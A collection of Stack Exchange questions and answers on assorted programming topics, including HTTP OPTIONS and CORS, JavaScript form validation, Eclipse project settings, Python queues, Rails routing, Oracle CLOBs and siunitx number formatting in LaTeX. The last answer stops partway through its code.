text:
Q: O que o servidor deve retornar em uma requisição do tipo OPTIONS? Antes de enviar qualquer requisição ao servidor, os navegadores automaticamente enviam, antes, uma requisição do tipo OPTIONS para saber algumas informações do servidor
Que informações o servidor precisam enviar? Apenas os cabeçalhos CORS?
Essas informações devem ser enviadas apenas nessas requisições ou nas demais também? (por questão de compatibilidade com navegadores antigos ou algo assim)
Essas requisições precisam passar por autenticação?
Achei essa pergunta onde diz apenas uma frase não muito específica do que deve ser retornado

A: OPTIONS
O Método OPTIONS é um método HTTP, que é utilizado para descobrir quais as opções de requisições permitidas para determinados recursos para um servidor, por isso essa requisição é feita antes das outras, para descobrir permissões que você aceita.
Nessa requisição, o servidor retorna uma lista de cabeçalhos, contendo alguns dados, mas também pode retornar um erro, caso não tenha nenhuma requisição para os recursos.
Esse envio pode ser feito de duas formas, a primeira é especificando uma URL na requisição, para uma análise específica:
OPTIONS /index.html HTTP/1.1

A outra forma é indicar com asterisco (*), que refere-se ao recursos como um todo:
OPTIONS * HTTP/1.1

Essa requisição é feita inicialmente para descobrir as permissões oferecidas para os recursos, para assim poder utilizar as outras requisições sem retornar erro.
Para uma simples requisição, é possível utilizar o CURL, para enviar essa requisição de confirmação, por exemplo:
curl -X OPTIONS http://index.html -i

Nessa requisição, por padrão, se existir campos permitidos, o servidor irá retornar um cabeçalho do tipo Allow, que indica quais métodos você aceita e tem permissão de requisição, mas retornando os dados somente como uma informação:
HTTP/1.1 200 OK
Allow: OPTIONS, GET, HEAD, POST
Cache-Control: max-age=604800
Date: Thu, 13 Oct 2016 11:45:00 GMT
Expires: Thu, 20 Oct 2016 11:45:00 GMT
Server: EOS (lax004/2813)
x-ec-custom-error: 1
Content-Length: 0

Caso não tiver requisições permitidas, o servidor irá retornar um cabeçalho vazio, que pode ocorrer temporariamente para algum recurso.
As informações do OPTIONS, são feitas somente nessa requisição, para informar quais métodos você aceita fazer. Não é utilizada para confirmação de envio.
CORS
É uma especificação utilizada para definir trocas de recursos entre browser e servidor, de forma segura, não permitindo que scripts façam solicitações de origem cruzada.
Uma requisição, feita com CORS, é utilizada para saber se o servidor permite um tipo de requisição específica, informando os parâmetros para serem analisados, ou seja, é feita uma verificação de permissão "customizada" para o servidor.

Aqui, tem uma lista de cabeçalhos CORS que podem ser utilizados
  em uma requisição.

Um exemplo, é criada uma requisição, para saber se uma requisição específica que utiliza POST e tem cabeçalhos customizados é aceita. Utiliza-se os cabeçalhos Access-Control-Request-Method, para o POST e o Access-Control-Request-Headers, para os cabeçalhos customizados:
OPTIONS /resources/post-here/ HTTP/1.1
Host: bar.other
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Connection: keep-alive
Origin: http://foo.example
Access-Control-Request-Method: POST
Access-Control-Request-Headers: X-PINGOTHER, Content-Type

A partir dessa requisição "customizada", o servidor analisa e se permitir, retornará com os cabeçalhos, informando se os cabeçalhos dos campos específicos informados, podem ser solicitados. Essa resposta é parecida com uma resposta Allow.
HTTP/1.1 200 OK
Date: Mon, 01 Dec 2008 01:15:39 GMT
Server: Apache/2.0.61 (Unix)
Access-Control-Allow-Origin: http://foo.example
Access-Control-Allow-Methods: POST, GET, OPTIONS
Access-Control-Allow-Headers: X-PINGOTHER, Content-Type
Access-Control-Max-Age: 86400
Vary: Accept-Encoding, Origin
Content-Encoding: gzip
Content-Length: 0
Keep-Alive: timeout=2, max=100
Connection: Keep-Alive
Content-Type: text/plain

O mecanismo CORS, suporta solicitações seguras de origem cruzada, que são as solicitações com origem (domínio, protocolo e porta) diferente da sua própria origem. Com isso, a requisição passam pela autenticação feita pelo servidor e retorna o resultado, para a partir disso solicitar uma requisição cruzada.
Em uma requisição com CORS, o navegador faz uma requisição, onde é passado cabeçalhos específicos, por exemplo, um cabeçalho Access-Control-Request-Method, que vai solicitar métodos que são permitidos e o servidor irá responder com Access-Control-Allow-Methods, ou seja, o navegador solicita uma confirmação, o servidor responde com um cabeçalho, informando o que é permitido e com o retorno, o navegador verifica os dados retornados, se compatível, o navegador irá liberar a solicitação cruzada, entre domínios diferentes.
Compatibilidade
Todos os navegadores tem suporte básico a esse tipo de requisição, tanto navegadores mobile, quanto para desktop:

Mais Leitura

*

*https://developer.mozilla.org/pt-BR/docs/Web/HTTP/Methods/OPTIONS

*https://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html

*https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS

*https://pt.wikipedia.org/wiki/Cross-origin_resource_sharing


text:
Q: File not downloading with download.file I'm not able to get a file to download with download.file.
My code:
setwd("C:/Users/James/Documents/coursera/course 3/w1"
if(!file.exists("data")) {
  dir.create("data")
}

fileUrl <- "https://data.baltimorecity.gov/api/views/dz54-2aru/rows.csv?accessType=DOWNLOAD"
download.file(fileUrl, ".data/caeras.csv", method="curl")
list.files("./data")

I am getting the errors below:

Error in download.file(fileUrl, ".data/caeras.csv", method = "curl") :
    'curl' call had nonzero exit status
  In addition: Warning message:
  running command 'curl  "https://data.baltimorecity.gov/api/views/dz54-2aru/rows.csv?accessType=DOWNLOAD"  -o ".data/caeras.csv"' had status 23

(Note: The file location works and the directory is there.)
Why is the file not downloading?

redpajama_set_name: RedPajamaStackExchange


text:
Q: Multiple Forms in an HTML Page I have a form which two divs that contain different 'forms' (i.e login and register forms).  The login div allows registered users log in, while the register div allows new users create a new account. Now I'm trying to validate input entered into the form. I got the javascript working for the register div but it's not working for the login div. Please how to i make the javascript work for the second div? Do i have to create different forms?
UPDATE:
Here's the javascript code:
function validateForm(){
        //create variables for tracking validation
        var valid=true;
        var msg;

        //validating the lastname field
        document.getElementById('lname').onkeyup=function(){
        if(document.getElementById('lname').value.length==0){

            document.getElementById('lnameerror').style.display='inline';
            document.getElementById('lnameerror').style.color='red';
            valid=false;
            document.getElementById('lname').focus();
        }
        else{
            document.getElementById('lnameerror').style.display='none';
        }

        }

        if(document.getElementById('lname').value.length==0){

            document.getElementById('lnameerror').style.display='inline';
            document.getElementById('lnameerror').style.color='red';
            valid=false;
            document.getElementById('lname').focus();
            msg='Please enter your last name';
        }
        else{
            document.getElementById('lnameerror').style.display='none';
        }

        //validating the firstname field
        document.getElementById('fname').onkeyup=function(){
        if(document.getElementById('fname').value.length==0){
            document.getElementById('fnameerror').style.display='inline';
            document.getElementById('fnameerror').style.color='red';
            document.getElementById('fname').focus();
        }
        else{
            document.getElementById('fnameerror').style.display='none';
        }

        }

        if(document.getElementById('fname').value.length==0){
            document.getElementById('fnameerror').style.display='inline';
            document.getElementById('fnameerror').style.color='red';
            valid=false;
            document.getElementById('fname').focus();
            msg='Please enter your first name';
        }
        else{
            document.getElementById('fnameerror').style.display='none';
        }

        //checking to see if password matches

        if(document.getElementById('cpword').value!=document.getElementById('pword').value){
            msg='Password does not match, please try again.';
            valid=false;
        }

        //Display alert on error
        if(valid==false){
            alert(msg);
        }

        return valid;
    }
    function signin_validate(){
        //VALIDATION FOR SIGN IN FORM
        //validating the password field
        document.getElementById('signin_pwordl').onkeyup=function(){
        if(document.getElementById('signin_pword').value.length==0){
            document.getElementById('signin_pworderror').style.display='inline';
            document.getElementById('signin_pworderror').style.color='red';
            document.getElementById('signin_pword').focus();
        }
        else{
            document.getElementById('signin_pworderror').style.display='none';
        }

        }
        document.getElementById('signin').onclick=function(){
        if(document.getElementById('signin_pword').value.length==0){
            document.getElementById('signin_pworderror').style.display='inline';
            document.getElementById('signin_pworderror').style.color='red';
            document.getElementById('signin_pword').focus();
        }
        else{
            document.getElementById('signin_pworderror').style.display='none';
        }
        }
        //validating the email field
        document.getElementById('signin').onclick=function(){
        if(document.getElementById('signin_email').value.length==0){
            msg='Please enter your email address';
            valid=false;
        }
        }

        //Display alert on error
        if(valid==false){
            alert(msg);
        }
    }

HTML:
<form action="Accounts.php" method="post">

Sign In Or Register

Sign In

                  Email Address*: <input id="signin_email" type="email" placeholder="E.g you@yourdomain.com"  autofocus maxlength="50" />*Please enter your First Name

              Password*: <input id="signin_pword" type="password" maxlength="24"   />*Please enter your First Name

                  <button type="submit" id="signin" name="signin" value="Sign In" onclick="return signin_validate()">Sign in</button>

OR

Register

                First Name*:
                <input id="fname" name="fname" maxlength="30" type="text"  />*Please enter your First Name

            Last Name*: <input id="lname" name="lname" maxlength="30" type="text"  />*Please enter your Last Name

            <button type="submit" id="register" name="register" value="Register" onclick="return validateForm()">Register</button>

</form>

A: You can use two Forms, one for login and other for register. The advantage of two Forms is with the user can press "Enter" for submit the form in both cases.
    <form name="formLogin" id="formLogin" action="Login.php" method="post" onsubmit="login_validate()">

Sign In Or Register

Sign In

                      Email Address*: <input id="signin_email" type="email" placeholder="E.g you@yourdomain.com"  autofocus maxlength="50" />*Please enter your First Name

                  Password*: <input id="signin_pword" type="password" maxlength="24"   />*Please enter your First Name

                      <button type="submit" id="signin" name="signin" value="Sign In" onclick="login_validate()">Sign in</button>

</form>

OR

        <form name="formRegister" id="formRegister" action="register.php" method="post" onsubmit="signin_validate()">

Register

                    First Name*:
                    <input id="fname" name="fname" maxlength="30" type="text"  />*Please enter your First Name

                Last Name*: <input id="lname" name="lname" maxlength="30" type="text"  />*Please enter your Last Name

                <button type="submit" id="register" name="register" value="Register" onclick="signin_validate()">Register</button>

</form>


text:
Q: Slim down and/or understand the Eclipse files in a Dynamic Web Project The files residing in .settings in a Dynamic Web Project are:
.settings/
|-- org.eclipse.jdt.core.prefs
|-- org.eclipse.jst.common.project.facet.core.prefs
|-- org.eclipse.jst.j2ee.ejb.annotations.xdoclet.prefs
|-- org.eclipse.wst.common.component
|-- org.eclipse.wst.common.project.facet.core.xml
|-- org.eclipse.wst.jsdt.ui.superType.container
|-- org.eclipse.wst.jsdt.ui.superType.name
`-- org.eclipse.wst.validation.prefs

The above file list is pretty much a clean new Dynamic Web Project, except that I'm using the IvyDE plug in, but I think it only affects the .classpath file.
How do I learn more about these files? I'm wondering if I can get rid of any of them without loosing something important? Finding this information at Eclipse.org was not very easy, a link or an explanation would be very welcome.
I'm trying to learn more about these files as I want to slim down the Eclipse files as much as possible before I check them into version control.
In case it helps I list the above files and their contents:
org.eclipse.jdt.core.prefs:
#Mon Jan 26 03:01:22 CET 2009
eclipse.preferences.version=1
org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.5
org.eclipse.jdt.core.compiler.compliance=1.5
org.eclipse.jdt.core.compiler.problem.assertIdentifier=error
org.eclipse.jdt.core.compiler.problem.enumIdentifier=error
org.eclipse.jdt.core.compiler.source=1.5

org.eclipse.jst.common.project.facet.core.prefs:
#Mon Jan 26 03:01:22 CET 2009
classpath.helper/org.eclipse.jdt.launching.JRE_CONTAINER\:\:org.eclipse.jdt.internal.debug.ui.launcher.StandardVMType\:\:java-6-sun-1.6.0.07/owners=jst.java\:5.0
eclipse.preferences.version=1

org.eclipse.jst.j2ee.ejb.annotations.xdoclet.prefs:
#Mon Jan 26 03:23:25 CET 2009
XDOCLETBUILDERACTIVE=false
XDOCLETHOME=
XDOCLETUSEGLOBAL=false
XDOCLETVERSION=1.2.1
eclipse.preferences.version=1

org.eclipse.wst.common.component:
<?xml version="1.0" encoding="UTF-8"?>
<project-modules id="moduleCoreId" project-version="1.5.0">
    <wb-module deploy-name="webcookie">
        <wb-resource deploy-path="/" source-path="/src/main/webapp"/>
        <wb-resource deploy-path="/WEB-INF/classes" source-path="/src/main/java"/>
        <wb-resource deploy-path="/WEB-INF/classes" source-path="/src/test/java"/>
        <wb-resource deploy-path="/WEB-INF/classes" source-path="/src/main/resources"/>
        <property name="context-root" value="webcookie"/>
        <property name="java-output-path"/>
    </wb-module>
</project-modules>

org.eclipse.wst.common.project.facet.core.xml:
<?xml version="1.0" encoding="UTF-8"?>
<faceted-project>
  <fixed facet="jst.java"/>
  <fixed facet="jst.web"/>
  <installed facet="jst.java" version="5.0"/>
  <installed facet="jst.web" version="2.5"/>
</faceted-project>

org.eclipse.wst.jsdt.ui.superType.container:
org.eclipse.wst.jsdt.l

org.eclipse.wst.validation.prefs:
#Mon Jan 26 03:31:54 CET 2009
DELEGATES_PREFERENCE=delegateValidatorList
USER_BUILD_PREFERENCE=enabledBuildValidatorListorg.eclipse.jst.j2ee.internal.classpathdep.ClasspathDependencyValidator;org.eclipse.wst.common.componentcore.internal.ModuleCoreValidator;org.eclipse.wst.wsi.ui.internal.WSIMessageValidator;
USER_MANUAL_PREFERENCE=enaunching.baseBrowserLibrary

org.eclipse.wst.jsdt.ui.superType.name:
Window

org.eclipse.wst.validation.prefs:
#Mon Jan 26 03:31:54 CET 2009
DELEGATES_PREFERENCE=delegateValidatorList
USER_BUILD_PREFERENCE=enabledBuildValidatorListorg.eclipse.jst.j2ee.internal.classpathdep.ClasspathDependencyValidator;org.eclipse.wst.common.componentcore.internal.ModuleCoreValidator;org.eclipse.wst.wsi.ui.internal.WSIMessageValidator;
USER_MANUAL_PREFERENCE=enabledManualValidatorListorg.eclipse.jst.j2ee.internal.classpathdep.ClasspathDependencyValidator;org.eclipse.wst.common.componentcore.internal.ModuleCoreValidator;org.eclipse.wst.wsi.ui.internal.WSIMessageValidator;
USER_PREFERENCE=overrideGlobalPreferencesfalse
eclipse.preferences.version=1
override=false
suspend=false
vf.version=3

A: Let's see:

*

*org.eclipse.jdt.core.prefs is really important and control how you compile your java project.

*org.eclipse.jst.common.project.facet.core.prefs adds a Facet, basically a way to introduce functionality to projects in Eclipse, therefore a project can have one or more facets (ie. it could be a Java project and a EJB project). See here for illustration (search the word 'Facet')

*org.eclipse.jst.j2ee.ejb.annotations.xdoclet.prefs is a way to Configuring XDoclet annotation support

*org.eclipse.wst.common.component is relate to the deployment structure.

*org.eclipse.wst.common.project.facet.core.xml is used to Specifying target servers for J2EE projects

*org.eclipse.wst.validation.prefs refers to Wst validation

*org.eclipse.wst.jsdt.ui.superType.container/name as explained here, is a configuration for JSDT part:

By default, plain javascript files (.js) inherit members from object Global. HTML files contained in a static/dynamic web project inherit members from object Window.
  So if your context is a plain javaScript file it will appear that only Window.window or Window.alert(..) is valid since none of the Window members are inherited. What you really want is to inherit this field + method from an instance of the Window object.
,
  The JSDT supports a configurable super type at the project level. Each .js or .html file within a project inherits all the fields and methods from the projects super type. By default the type is Global for standalone JavaScript projects and Window for Static/Dynamic Web Projects.
,
  You can change the super type for a project from the JavaScript Include Path properties page from Object Global to Object Window to achieve the results you desire... On the Global Order/SuperType page change the Super Type to Window in the ECMA library.

A: You should use and trust the "Dependencies" tab in the MANIFEST.MF. After working about a year with Eclipse plugins only i would not try to find out which eclipse plugin dependency is necessary or not.
When you miss a plugin which is needed at runtime, you get exceptions which are not very useful and solutions are not obvious.
The MANIFEST actions "Find unused dependencies" should selected every time you refactor your code. It also helps to check the classes, eclipse will create, when you generate  complete new plugin from scratch. The eclipse plugins are not good documented, so i would use the actions which are offered and dont spend so many times to understand them all.
If you realy want to find out which plugins are used, when you create a plugin from scratch, you can delete some extend declarations or variables and press the "Find unused dependencies" action to see, which plugin is for a call.


text:
Q: Visual Studio 2017 debugging .Net Core 2.0 Using IISExpress, Https, and a non-localhost URL I'm having an issue with Visual Studio 2017 and debugging a web app using SSL. I suspect it's an issue with an untrusted developer certificate but I can't get Visual Studio to trust the cert like it usually does. The issue only happens when trying to launch with an https enabled non-localhost URL.

The following scenarios work, based on the project settings in the debug section. The project will launch with the App URL, the debugger works, and the SSL URL works.
App URL: http://localhost:12345
Enable SSL: https://localhost:43123

App URL: https://localhost:43123
Enable SSL: https://localhost:43123

App URL: http://some-custom-domain:12345
Enable SSL: https://some-custom-domain:43123

The following does NOT work and throws the error above when launching the debugger:
App URL: https://some-custom-domain:43123
Enable SSL: https://some-custom-domain:43123

I have tried deleting my launchsettings.json, removing all localhost certs and repairing my IISExpress install to generate a new cert, deleting the bin/obj folders and rebuilding, deleting the .vs folder and rebuilding.
When I run a Core 1.x project using an HTTPS url it prompts me to trust the cert, and then it runs as normal.
Any insight would be helpful. My workaround is to enforce redirection to HTTPS on my development environment but I'd love to be able to launch right into the HTTPS URL.


text:
Q: Keyboard interruptable blocking queue in Python It seems
import Queue

Queue.Queue().get(timeout=10)

is keyboard interruptible (ctrl-c) whereas
import Queue

Queue.Queue().get()

is not. I could always create a loop;
import Queue
q = Queue()

while True:
    try:
        q.get(timeout=1000)
    except Queue.Empty:
        pass

but this seems like a strange thing to do.
So, is there a way of getting an indefinitely waiting but keyboard interruptible Queue.get()?

A: Queue objects have this behavior because they lock using Condition objects form the threading module.  So your solution is really the only way to go.
However, if you really want a Queue method that does this, you can monkeypatch the Queue class.  For example:
def interruptable_get(self):
    while True:
        try:
            return self.get(timeout=1000)
        except Queue.Empty:
            pass
Queue.interruptable_get = interruptable_get

This would let you say
q.interruptable_get()

instead of
interruptable_get(q)

although monkeypatching is generally discouraged by the Python community in cases such as these, since a regular function seems just as good.

A: This may not apply to your use case at all. But I've successfully used this pattern in several cases: (sketchy and likely buggy, but you get the point).
STOP = object()

def consumer(q):
    while True:
        x = q.get()
        if x is STOP:
            return
        consume(x)

def main()
    q = Queue()
    c=threading.Thread(target=consumer,args=[q])

    try:
        run_producer(q)
    except KeybordInterrupt:
        q.enqueue(STOP)
    c.join()


text:
Q: No route matches [GET] "/companies/9" Rails.root: C:/Users/Anuradha-PC/Desktop/Ruby/Jobs_board2 When i was try to create company it will show error:

No route matches [GET] "/companies/9" Rails.root:
  C:/Users/Anuradha-PC/Desktop/Ruby/Jobs_board2

In my CompanyController I have:
def show
  if @company = Company.find_by_user_id(current_user.id)
    @company_user_id = current_user.id
  else
    redirect_to new_company_path
  end

  def create
    @company = current_user.companies.build(company_params)
    if @company.save
      flash[:success]= "success"
      redirect_to @company
    else
      flash[:error]=@company.errors.full_messages
      render "new"
    end
  end

  def company_params
    params.require(:company).permit(:c_name,:c_description)
  end

In the models:
    class Company < ApplicationRecord
      belongs_to:user
      has_many:jobs
    end

    class User < ApplicationRecord
      # Include default devise modules. Others available are:
      # :confirmable, :lockable, :timeoutable and :omniauthable
      devise :database_authenticatable, :registerable,
             :recoverable, :rememberable, :trackable, :validatable
      has_many :companies
      has_many :jobs
    end

Routes:
    Rails.application.routes.draw do
      devise_for :users
      resources :jobs
      resources :companies, except: :show do
        get :show, on: :collection, as: :show
      end
      # resources :users do
      #   resources :companies
      # end
      root 'jobs#index'
    end

When i was try to create company it will show the error.


text:
Q: Mongo Db design (embed vs references) in Trello When I open https://trello.com/board/board_name/board_id.json, I can see that within a board there are Nested documents of Card, List, Actions etc. Want to know whether three main collections that Trello team talk about card, board, member are Referenced or they are embedded (nested) within board?

A: They're referenced. The responses assembled by the API don't precisely reflect the structure of the DB. Otherwise, board documents would grow without bound, which wouldn't work out well for long-lived boards. Also, if we included Member documents in the board, we'd have to update every single board document the member was on when we updated a member's name.


text:
Q: How can i display the part of a long text that contains the search term I found records that contain searched text(in asp.net core razor pages). Now how to display only the part of the text that contains the searched text and not the whole text. like the:
text: Lorem Ipsum is simply dummy text of the printing and typesetting industry. Lorem Ipsum has been the industry's standard dummy text ever since the 1500s, when an unknown printer took a galley of type and scrambled it to make a type specimen book.
search term: print
result:  ... dummy text of the printing and typesetting ...
Thanks for taking the time.


text:
Q: Translate a web page to other language on page load I am trying to convert the whole web page in different language based on the user who is logged in.
I am using the following code

This is working as expected but user has to choose the language. Is there a way I can automate this?
Also as the translate is deprecated does any body has a guide or tutorial to use the new google translate API.
Any have searched too many posts but none of them auto translate option or using the new API's

A: So you would sniff the user's preferred language using NavigatorLanguage and set that as a language.
I don't know about the latest Translate API, but a quick search gave me this: https://dev.to/robertchen/how-to-use-google-translate-api-27l9


text:
Q: How to retrieve data from radio button in jsp and put it in session I read some answers related to my topic but when I try to run the code it shows an exception...
The answer I tried
String answer1=request.getSession().getAttribute("my1").toString();

The Exception I got

HTTP Status 500 - An exception occurred processing JSP page /First.jsp
  at line 59
  org.apache.jasper.JasperException: An exception occurred processing JSP page /First.jsp at line 59

58: <%
59: String answer1=request.getSession().getAttribute("my1").toString();
60:
61:
62: %>


text:
Q: Creating minumum polygon coverage from set of lines in ArcGIS Desktop? Does anyone know of a tool or methodology I could use to create a polygon layer enveloping the end nodes of the line layer using ArcMap?
I need a coverage layer for the lines below, I was hoping to find a way to follow the edge of the line (like the illustration by the red line but over the entire dataset) to create a "minimum fit" polygon layer to the lines.


text:
Q: How to return a group of loop values as a single string I'm new to coding, I started to learn python last month. My friend give me this problem and I'm stuck
def gordon(a):
    x = a.split()
    result = " "
    for y in x:
        c = " ".join((y.upper().replace("A", "@").replace("E", "*").replace("I", "*").replace("O", "*").replace("U", "*"))) + "!!!!"

gordon('What feck damn cake')

I want to return a value of
W H @ T!!!! F * C K!!!!  D @ M N!!!! C @ K *!!!!

what I'm getting this insteead and I can't find a way to fix it
W H @ T!!!!
F * C K!!!!
D @ M N!!!!
C @ K *!!!!

A: you must be printing c in the loop. try c+=, instead of just c =
print c outside the loop

A: def gordon(a):
    x = a.split()
    result = []
    for y in x:
        result.append(
            y
                .upper()
                .replace("A", "@")
                .replace("E", "*")
                .replace("I", "*")
                .replace("O", "*")
                .replace("U", "*")
                + "!!!!"
        )

    return " ".join(result)

gordon('What feck damn cake')

A: To give you very close answer to your work, here is the small fixed to your code but it'll lead to extra space in the end.
def gordon(a):
    x = a.split()
    result = ""
    for y in x:
        result += " ".join((y.upper().replace("A", "@").replace("E", "*").replace("I", "*").replace("O", "*").replace("U", "*"))) + "!!!! "
    print(result)

gordon('What feck damn cake')

For a better one, we should use "result" as array to collect each "c" and join those all c with a space(" ").
def gordon(a):
    x = a.split()
    result = []
    for y in x:
        c = " ".join((y.upper().replace("A", "@").replace("E", "*").replace("I", "*").replace("O", "*").replace("U", "*"))) + "!!!!"
        result.append(c)
    print(" ".join(result))

gordon('What feck damn cake')


text:
Q: How to select a whole of clob column oracle? I want to select a whole clob data without spisify to lenght of the return.
this my request but with a limit lenght.
select
contentType,name,
DBMS_LOB.substr(DATAS, dbms_lob.getlength(DATAS)) as doc
from
AutorisationDoc
where AUTORIS_DOC = '62119367419202074';

this the result that the natural select select  DATAS from AutorisationDoc return

A: From the DB Visualiser 10.0 User Guide

Editing Binary/BLOB and CLOB Data
Due to the nature of binary/BLOB and CLOB data, cells of these types
  can only be fully modified and viewed in the Cell Editor. (There is
  partial support in the Form Editor to view image data and to load from
  file).
In the grid, Binary/BLOB and CLOB data is by default presented by an
  icon and the size of the value. You can select another presentation
  format in the Tools Properties dialog, in the Grid / Binary/BLOB and
  CLOB Data category under the General tab. Selecting By Value results
  in performance penalties and the memory consumption increases
  dramatically.
In the same Tool Properties category, you can also specify how to
  handle Copy/Paste and Drag and Drop when pasting binary data in a
  target component that doesn't support binary data.
Editing binary data can be done by importing from a file or via the
  text editor in the Cell Editor. You can also copy the file in the
  operating system's file browser and paste it into a BLOB/CLOB cell.
Binary data in DbVisualizer is the generic term for several common
  binary database types:

*

*LONGVARBINARY

*BINARY

*VARBINARY

*BLOB

  The Image Viewer supports displaying full size images for the
  following formats:

*

*GIF

*JPG

*PNG

*TIFF

*BMP

*PDF

So, you can use your query:
select contentType,
       name,
       DATAS
from   AutorisationDoc
where  AUTORIS_DOC = '62119367419202074';

But you need to view DATAS in the Cell Editor to see the full content (not the grid, which just shows "an icon and the size of the value").
This can be found:

Using the Cell Editor/Viewer
The Cell Viewer is available in the right-click menu for all grids in DbVisualizer.


text:
Q: Sound not being recognized by InfoCenter I've searched for a problem like this but I didn't find an answer. Whenever I play a sound in my app the InfoCenter does not recognize there is a sound playing. I have tried to display song metadata but it will not work on device, but will work in simulator.
Does anyone know what may be keeping my Song from displaying in InfoCenter?


text:
Q: Powerpoint presentations on Github pages I am using my Github page account as a blog website. Can I upload a powerpoint presentation on Github pages so that users can view it there? If yes, how to do that? I am a noob in Github. I also wanted to know if a group can collaborate on Github Pages?
Thanks in advance.

A: I'm assuming you are looking for ways to incorporate your presentations into your blog so people can "page through them".

*

*If you want to stick to PowerPoint or display old slides (done in PP), this existing Stack Overflow question might help: Embed a Powerpoint in a Web Page

*You could, however, also switch to an HTML-based solution for future slides. reveal.js is a popular example, and it's even open source and all its source code is on GitHub. You'll have to check how you can incorporate HTML slides done with such a tool into your existing blog.

*There are also slide hosting services for sharing presentations where you can upload your slides (in the form of PDFs, possibly also other files) and have them converted to an embeddable online presentation. One such service is Speaker Deck, which was incidentally created by GitHub (but acquired by another company only last month). Another popular service is LinkedIn's SlideShare. For these, you'd only have to add embed codes to your blog posts.
Finally, if you are fine with making your slides available as PDFs, which visitors to your blog would download (or view directly in their browsers, though this depends on their browser settings), you could do just as suggested in the other replies.
Your other question should really be a separate SO question as it's about a different topic.

A: You can easily save your PowerPoint presentation as pdf. You don't have to use any websites.
Also, PDF is not versioned as text files and every update will look like remove and add of whole new version of this pdf.
But basically you need to create your repository locally and put your file into this location.
Here you have basic tutorial for GitHub:
https://guides.github.com/activities/hello-world/


text:
Q: Intel Wi-Fi 6 AX200 not recognized after kernel update I just wanted to post this here in case anybody else has this issue. After updating to 5.13 my wifi adapter wasn't being recognized, so I just rolled it back to 5.11 using grub and it works again. yay!
i followed this (except I had to hit ESC to get to grub):
https://code.luasoftware.com/tutorials/linux/ubuntu-revert-to-previous-kernel/


text:
Q: Manipulate processed numbers using siunitx I am trying to manipulate numbers that are preprocessed, for instance, 1,000,000.50 to 1.000.000, getting rid of precision and replacing thousands separator with ','.
\documentclass[12pt]{article}
\usepackage{siunitx}

\ExplSyntaxOn
\NewDocumentCommand{\removeComma}{m}
 {
  \tl_set:Nn \l_tmpa_tl { #1 }
  \regex_replace_all:nnN { (\,) } { } \l_tmpa_tl
  \tl_use:N \l_tmpa_tl
 }
\ExplSyntaxOff

\begin{document}

\num[round-precision=0, group-separator = {.}]]{\removeComma{1,000,000.00}}

\end{document}

However, I end up with an error
Package siunitx error: Invalid number '\removeComma{1,000,000.00}'

A: Why don't you use input-ignore which siunitx already offers?
\documentclass[12pt]{article}
\usepackage{siunitx}
\sisetup{
  input-decimal-markers={.},
  input-ignore={,},
}

\begin{document}

% I've replaced "group-separator={.}" with "group-digits=none" because, well,
% having the group-separator equal to 'output-decimal-marker' is rather
% confusing.
\num[round-precision=0,group-digits=none]{1,000,000.00}

\end{document}

Edit Considering the demands in the comments to have dot as group separator, comma as decimal marker, and "getting rid of the decimal", you could use:
\documentclass[12pt]{article}
\usepackage{siunitx}
\sisetup{
  input-decimal-markers={.},
  input-ignore={,},
  output-decimal-marker={,},
  group-separator={.},
  % by "getting rid of the decimal", I presume you mean rounding.
  round-mode=places,
  round-precision=0,
  round-half=even
}

\begin{document}

\num{1,000,000.50}

\end{document}

With result:

I guess that, if you literally want to "get rid of the decimal" instead of proper rounding, you could use the evaluate-expression option. Either way, my general suggestion is that you use the flexible structure provided by siunitx instead of trying to parse the numbers yourself.

A: Experiment shows there are multiple steps, and with regex, the steps have to be done in the correct sequence (sometimes using a second tmp variable).
Break the task down into individual components, keeping them separated.
The experiment was to try various methods. Regex output versions are shown under (A):

Regex is most compact: \tl_remove and \tl_replace and the \str equivalents are only partially useful here, though could be used (with more codelines and some logic of steps).
And looks like si is putting its own formatting in, too.
MWE
\documentclass[12pt]{article}
\usepackage{siunitx}
\usepackage{xparse}

\ExplSyntaxOn
\NewDocumentCommand { \removeCommaA } { o m }
 {
    TL ~ Regex ~ \IfValueT { #1 } { #1 }  \tex_par:D
    #2 $\mapsto$
  \tl_set:Nn \l_tmpa_tl { #2 }
  \regex_replace_all:nnN { \.\d{2} } { } \l_tmpa_tl
    \IfValueF { #1 } { \tl_set_eq:NN \l_tmpb_tl \l_tmpa_tl }
  \regex_replace_all:nnN { \, } {  } \l_tmpa_tl
    \IfValueT { #1 } { \use:c { #1 } }
  { \tl_use:N \l_tmpa_tl }
    \IfValueF { #1 } {
                \regex_replace_all:nnN { \, } { \. } \l_tmpb_tl
                \tex_par:D >> ~ \tl_use:N \l_tmpb_tl
                }

 }
%\NewExpandableDocumentCommand{\removeCommaB}{m}
% {
%  \tl_set:Nn \l_tmpa_tl { #1 }
%  \regex_replace_all:nnN { (\,) } { } \l_tmpa_tl
%  \tl_use:N \l_tmpa_tl
% }
\NewDocumentCommand { \removeCommaC } { o m }
 {
    TL ~ Remove ~ \IfValueT { #1 } { #1 }  \tex_par:D
  \tl_set:Nn \l_tmpa_tl { #2 }
    \tl_remove_all:Nn \l_tmpa_tl { , }
    \IfValueT { #1 } { \use:c { #1 } }
  { \tl_use:N \l_tmpa_tl }
 }

\NewDocumentCommand { \removeCommaD } { o m }
 {
        Str ~ Remove ~ \IfValueT { #1 } { #1 } \tex_par:D
  \str_set:Nn \l_tmpa_str { #2 }
    \str_remove_all:Nn \l_tmpa_str { , }
    \IfValueT { #1 } { \use:c { #1 } }
   { \str_use:N \l_tmpa_str }
 }

\ExplSyntaxOff

\begin{document}

(A) \removeCommaA{1,000,000.00}

\removeCommaA[num]{1,000,000.00}

\removeCommaA[numprint]{1,000,000.00}

%(B) \num[round-precision=0, group-separator = {.}]{\removeCommaB{1,000,000.00}}

(C) \removeCommaC{1,000,000.00}

\removeCommaC[num]{1,000,000.00}

(D) \removeCommaD{1,000,000.00}

\removeCommaD[num]{1,000,000.00}

\end{document}

A: The fact that \regex_replace_all:nnN isn't expandable shouldn't prevent you from using its result in the argument of \num (or any other expansion-only context). You simply need to store the result in a macro and put that macro in the argument of \num. Indeed, performing one expansion step on a macro is an operation that, by definition, always works in expansion-only contexts!
\documentclass{article}
\usepackage{siunitx}

\ExplSyntaxOn
% #1 must be a control sequence token
\NewDocumentCommand \removeComma { m m }
  {
    \tl_set:Nn #1 {#2}
